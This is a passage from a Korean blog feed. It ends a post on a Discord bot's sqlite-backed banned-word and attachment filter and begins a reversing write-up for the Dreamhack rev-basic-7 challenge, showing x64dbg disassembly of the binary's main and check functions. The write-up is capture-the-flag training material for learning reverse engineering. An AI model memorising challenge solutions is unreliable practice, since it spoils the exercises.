</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;insert into textBL (BL, userId, userName) values(?, ?, ?)&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">BL</span><span class="p">,</span> <span class="n">returnText</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">returnText</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">		<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">addBLAllA</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span><span class="c1">#attachments</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">temp</span> <span class="o">=</span> <span class="n">arg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34;$addBLAllA &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;insert into atmBL (BL, userId, userName) values(?, &#39;all&#39;, &#39;all&#39;)&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">addBLUserA</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span><span class="c1">#attachments</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">temp</span> <span class="o">=</span> <span class="n">arg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34;$addBLUserA &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">argList</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">temp</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select userId, userName from user where userName = ?&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">argList</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnText</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;insert into atmBL (BL, userId, userName) values(?, ?, ?)&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">argList</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">returnText</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">returnText</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">		<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">rmTextBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="n">temp</span> <span class="o">=</span> <span class="n">arg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34;$rmTextBL &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;delete from textBL where pk = (cast(? as integer))&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">rmAtmBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="n">temp</span> <span class="o">=</span> <span class="n">arg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34;$rmAtmBL &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;delete from atmBL where pk = (cast(? as integer))&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span>
</span></span></code></pre></div><p>처음에는 텍스트 파일을 메시지 액션이 있을때 마다 BlackList로 읽어 문자열을 검색했지만 sqlite3로 대체하면서 db 쿼리문이 포함된 함수들을 따로 만들어 주었다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">discord.ext</span> <span class="kn">import</span> <span class="n">commands</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">discord.ext.commands</span> <span class="kn">import</span> <span class="n">Bot</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">bot</span> <span class="o">=</span> <span class="n">commands</span><span class="o">.</span><span class="n">Bot</span><span class="p">(</span><span class="n">command_prefix</span><span class="o">=</span><span class="s1">&#39;$&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>위 구문을 이용해서 bot.command를 쓰면 명령어를 더 편하게 쓸 수 있지만 어떤 이유에서인지 on_message와 bot.command가 같이 동작하지 않아, on_message 안에서 commandCheck 함수를 통해 명령어 기능을 적용했다. 이렇게 되면 명령어를 추가 해야하는 시점에서 commandCheck와 다른 함수들일 직접 구현해야 하지만 실시간으로 올라오는 모든 메시지에 대해서 금지어 검사를 위해 위처럼 코드를 작성했다.</p>
<p>여러 서버에서 사용하려면 서버ID, 채널ID 등을 추가로 DB로 만들어 비교하는 코드를 짜주면 된다.</p>
<p>msg.attachments를 통해 첨부파일의 유무도 확인할 수 있는데, 등록한 문자열이 첨부파일 이름이나 링크에 추가되어 있으면 이 또한 메시지가 삭제된다. 주로 이미지를 삭제하기 위해 만든 기능인데, 이미지 이름을 바꾸면 쉽게 우회가 가능해서 다음에는 openCV를 통해 이미지 유사도 검사기능을 넣어 비교하는것을 테스트 할 생각이다. 다만 비교하는데 얼만큼의 리소스 사용, 걸리는 시간 등을 잘 판단해 어떤 방식이 더 득이 많을지 생각해 봐야할 문제이다.</p>
<p>전체사용자에 대한 금지어 설정도 가능하지만 사용자들이 채팅을 입력하면 db에 사용자 이름과 고유 USER ID를 저장하며 비교하므로 <code>$addBLUserT 유저이름 금지어</code> 를 통해 지정도 가능하다. 물론 첨부파일도 마찬가지이다.</p>
<p>삭제로그 출력의 경우 일부 로그는 상관 없지만 2000글자가 넘어가는 대용량 로그의 경우 디스코드에서 막아둔것 같다. 이 때문에 로그를 txt 파일로 만들어 첨부파일 형태로 보내는 방식을 이용했다. PC에서는 파일 미리보기를 통해 쉽게 확인이 가능하지만, 스마트폰에서는 파일을 직접 다운받아 열어봐야하는 단점이 있다.</p>
<p>블랙리스트 출력 또한 위 txt 파일 업로드 방식을 사용했다.</p>
<p>봇 커멘드의 경우 $help를 치면 출력이 되도록 설정했다.</p>
]]></content:encoded></item><item><title>Dreamhack rev-basic-7 문제풀이</title><link>https://dig06161.github.io/2022/05/01/dreamhack-rev-basic-7/</link><pubDate>Sun, 01 May 2022 06:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/05/01/dreamhack-rev-basic-7/</guid><description>&lt;p>이번 문제는 드림핵 rev-basic-7 리버싱 문제를 풀어보자.&lt;/p>
&lt;p>우선 basic-6과 동일하게 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다. 바이너리 실행결과는 다음과 같다.&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://dig06161.github.io/img/dreamhack-rev-basic-7/binary_start.png" alt="binary_start" />
&lt;/p>
&lt;p>우선 가장 먼저 해야할 일은 main함수를 찾는것이다. 윈도우 바이너리인 PE파일의 헤더 구조를 보면 매우 많은 정보들이 들어있다. 그것들 중 리버싱을 할떄 중점으로 봐야할 부분은 .text영역이다. 실질적으로 코드가 컴파일되어 저장되는 영역으로 대부분의 main함수는 이 영역 시작 지점과 인접하게 존재한다. 컴파일러의 보안 미티게이션의 추가로 메모리 주소 랜덤화가 자동으로 걸려 0x401000주소에 main이 들어가는 경우는 이젠 없을 것이다.&lt;/p></description><content:encoded><![CDATA[<p>이번 문제는 드림핵 rev-basic-7 리버싱 문제를 풀어보자.</p>
<p>우선 basic-6과 동일하게 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다. 바이너리 실행결과는 다음과 같다.</p>
<p><img loading="lazy" src="/img/dreamhack-rev-basic-7/binary_start.png" alt="binary_start"  />
</p>
<p>우선 가장 먼저 해야할 일은 main함수를 찾는것이다. 윈도우 바이너리인 PE파일의 헤더 구조를 보면 매우 많은 정보들이 들어있다. 그것들 중 리버싱을 할떄 중점으로 봐야할 부분은 .text영역이다. 실질적으로 코드가 컴파일되어 저장되는 영역으로 대부분의 main함수는 이 영역 시작 지점과 인접하게 존재한다. 컴파일러의 보안 미티게이션의 추가로 메모리 주소 랜덤화가 자동으로 걸려 0x401000주소에 main이 들어가는 경우는 이젠 없을 것이다.</p>
<p>바이너리는 input : 과 Wrong 이라는 문자열을 출력했다. 따라서 문자열 검사를 통해 해당 문자열이 사용되는 지점을 찾아 BP를 걸어준다.</p>
<p><img loading="lazy" src="/img/dreamhack-rev-basic-7/main_asm.png" alt="main_asm"  />
</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21090</span> <span class="o">|</span> <span class="mi">40</span><span class="o">:</span><span class="mi">57</span>                    <span class="o">|</span> <span class="n">push</span> <span class="n">rdi</span>                                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21092</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">81</span><span class="n">EC</span> <span class="mi">30010000</span>         <span class="o">|</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">130</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21099</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B05</span> <span class="mf">881F</span><span class="mo">0000</span>         <span class="o">|</span> <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">7</span><span class="n">CEE23028</span><span class="p">]</span>     <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210A0</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">33</span><span class="n">C4</span>                  <span class="o">|</span> <span class="n">xor</span> <span class="n">rax</span><span class="p">,</span><span class="n">rsp</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210A3</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">898424</span> <span class="mi">20010000</span>       <span class="o">|</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">120</span><span class="p">],</span><span class="n">rax</span>          <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210AB</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D4424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rax</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210B0</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">BF8</span>                  <span class="o">|</span> <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210B3</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210B5</span> <span class="o">|</span> <span class="n">B9</span> <span class="mo">00010000</span>              <span class="o">|</span> <span class="n">mov</span> <span class="n">ecx</span><span class="p">,</span><span class="mi">100</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210BA</span> <span class="o">|</span> <span class="nl">F3</span><span class="p">:</span><span class="n">AA</span>                    <span class="o">|</span> <span class="n">rep</span> <span class="n">stosb</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210BC</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="mi">4</span><span class="n">D110000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">7</span><span class="n">CEE22210</span><span class="p">]</span>     <span class="o">|</span> <span class="nl">rcx</span><span class="p">:</span><span class="s">&#34;asdf&#34;</span><span class="p">,</span> <span class="mf">00007FF</span><span class="mi">7</span><span class="nl">CEE22210</span><span class="p">:</span><span class="s">&#34;Input : &#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210C3</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">58000000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE21120</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210C8</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D5424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210CD</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="mi">48110000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">7</span><span class="n">CEE2221C</span><span class="p">]</span>     <span class="o">|</span> <span class="nl">rcx</span><span class="p">:</span><span class="s">&#34;asdf&#34;</span><span class="p">,</span> <span class="mf">00007FF</span><span class="mi">7</span><span class="nl">CEE2221C</span><span class="p">:</span><span class="s">&#34;%256s&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210D4</span> <span class="o">|</span> <span class="n">E8</span> <span class="n">D7000000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE211B0</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210D9</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D4C24</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210DE</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">1</span><span class="n">DFFFFFF</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE21000</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210E3</span> <span class="o">|</span> <span class="mi">85</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">test</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210E5</span> <span class="o">|</span> <span class="mi">74</span> <span class="mf">0F</span>                    <span class="o">|</span> <span class="n">je</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE210F6</span>                  <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210E7</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="mi">3</span><span class="n">A110000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">7</span><span class="n">CEE22228</span><span class="p">]</span>     <span class="o">|</span> <span class="nl">rcx</span><span class="p">:</span><span class="s">&#34;asdf&#34;</span><span class="p">,</span> <span class="mf">00007FF</span><span class="mi">7</span><span class="nl">CEE22228</span><span class="p">:</span><span class="s">&#34;Correct&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210EE</span> <span class="o">|</span> <span class="n">FF15</span> <span class="mi">94100000</span>            <span class="o">|</span> <span class="n">call</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="o">&lt;&amp;</span><span class="n">puts</span><span class="o">&gt;</span><span class="p">]</span>             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210F4</span> <span class="o">|</span> <span class="n">EB</span> <span class="mi">0</span><span class="n">D</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE21103</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210F6</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="mi">33110000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">7</span><span class="n">CEE22230</span><span class="p">]</span>     <span class="o">|</span> <span class="nl">rcx</span><span class="p">:</span><span class="s">&#34;asdf&#34;</span><span class="p">,</span> <span class="mf">00007FF</span><span class="mi">7</span><span class="nl">CEE22230</span><span class="p">:</span><span class="s">&#34;Wrong&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210FD</span> <span class="o">|</span> <span class="n">FF15</span> <span class="mi">85100000</span>            <span class="o">|</span> <span class="n">call</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="o">&lt;&amp;</span><span class="n">puts</span><span class="o">&gt;</span><span class="p">]</span>             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21103</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21105</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B8C24</span> <span class="mi">20010000</span>       <span class="o">|</span> <span class="n">mov</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">120</span><span class="p">]</span>          <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2110D</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">33</span><span class="n">CC</span>                  <span class="o">|</span> <span class="n">xor</span> <span class="n">rcx</span><span class="p">,</span><span class="n">rsp</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21110</span> <span class="o">|</span> <span class="n">E8</span> <span class="n">AB010000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE212C0</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21115</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">81</span><span class="n">C4</span> <span class="mi">30010000</span>         <span class="o">|</span> <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">130</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2111C</span> <span class="o">|</span> <span class="mf">5F</span>                       <span class="o">|</span> <span class="n">pop</span> <span class="n">rdi</span>                                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2111D</span> <span class="o">|</span> <span class="n">C3</span>                       <span class="o">|</span> <span class="n">ret</span>                                     <span class="o">|</span>
</span></span></code></pre></div><p>해당 문제는 올바른 값을 입력하면 Corrent라는 문구가 출력되며 입력한 값이 flag가 되는 문제이다. 따라서 바이너리 역분석을 통해 적절한 입력값을 찾아야 한다.</p>
<p>우선 테스트 값으로 <code>aaaaaaaaaaa</code>라는 문자열을 입력하고 이를 검사하는 부분을 찾아야 한다. 어셈블리를 살펴보면</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210D9</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D4C24</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210DE</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">1</span><span class="n">DFFFFFF</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE21000</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210E3</span> <span class="o">|</span> <span class="mi">85</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">test</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE210E5</span> <span class="o">|</span> <span class="mi">74</span> <span class="mf">0F</span>                    <span class="o">|</span> <span class="n">je</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE210F6</span>                  <span class="o">|</span>
</span></span></code></pre></div><p>위와 같은 부분이 존재한다. 함수를 Call하고 test를 통한 eax 초기화 후 je를 통해 분기하는 것을 알 수 있다. 따라서 Call 하는 chall7.7FF7CEE21000 부분이 문자열을 검사하는 곳이라고 추측할 수 있다.</p>
<p>해당 부분의 어셈블리는 다음과 같다.
<img loading="lazy" src="/img/dreamhack-rev-basic-7/input_cmp.png" alt="input_cmp"  />
</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21000</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">894</span><span class="n">C24</span> <span class="mi">08</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">8</span><span class="p">],</span><span class="n">rcx</span>            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21005</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">83</span><span class="n">EC</span> <span class="mi">18</span>               <span class="o">|</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">18</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21009</span> <span class="o">|</span> <span class="n">C70424</span> <span class="mo">00000000</span>          <span class="o">|</span> <span class="n">mov</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">],</span><span class="mi">0</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21010</span> <span class="o">|</span> <span class="n">EB</span> <span class="mi">08</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE2101A</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21012</span> <span class="o">|</span> <span class="mi">8</span><span class="n">B0424</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21015</span> <span class="o">|</span> <span class="n">FFC0</span>                     <span class="o">|</span> <span class="n">inc</span> <span class="n">eax</span>                                 <span class="o">|</span>
